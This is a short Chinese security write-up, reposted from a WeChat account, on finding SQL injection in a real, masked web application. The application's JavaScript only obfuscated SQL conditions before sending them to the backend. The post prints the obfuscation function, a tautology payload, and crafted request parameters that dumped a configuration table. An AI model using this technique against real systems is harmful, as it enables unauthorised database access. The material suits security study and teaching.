本篇文章为青山ya师傅实战经历分享
通过js发现加密sql语句后端进行处理
下面简要展示一下发现注入过程
翻阅到如下js代码
jiamiSQL的代码如下所示
function
jiamiSQL
(sql)
{
var condtion = btoa(encodeURIComponent(sql));
if
(condtion != undefined && condtion !=
""
) {
var conditon1=
'';
var conditon2='
';
for (var i = 0; i <condtion.length ; i++) {
if(i%2 ==0){
conditon2 += condtion[i];
}else{
conditon1 += condtion[i];
}
}
var fnailcondtion = conditon2+'
_'+conditon1;
var fnailcondtion2 =
'';
for (var j = fnailcondtion.length-1; j >=0 ; j--) {
fnailcondtion2 = fnailcondtion2+fnailcondtion[j];
}
return fnailcondtion2;
}else{
return sql;
}
}
此处我直接在控制台调用js函数 jiamiSQL进行sql语句的加密
构造请求成功曝出数据
url : http://*********/********/map/zxsqllist
param : tiaojian==QwTxjl0ljlDyCwTyGySwTwTxjl0ljlDyCyC_=KIJAMQMAMEMUKIJ9MUKIJIJAMQMAMEMUMUK
&name=SYS_CONFIG
&jieguo=FFB1HkO0_VTZXlR9Q
tiaojian加密为jiamiSql("( 1 = 1 ) or ( 1 = 1 )")
name为数据表名
jieguo为字段名
jiamiSql("CONFIG_VALUE,CONFIG_NAME")
http://**********/commons/execstrSearch
param :
arr=jiamiSql(“语句”) 语句 格式’xxx’ &
&tableName=ZF_RZSQB 表明
&hideid=HYZK 字段
后续便可以利用sql注入深入
本篇文章为青山ya师傅实战案例分享
原文始发于微信公众号(梅苑安全学术):记某次测试翻阅海量js语句黑盒出sql注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论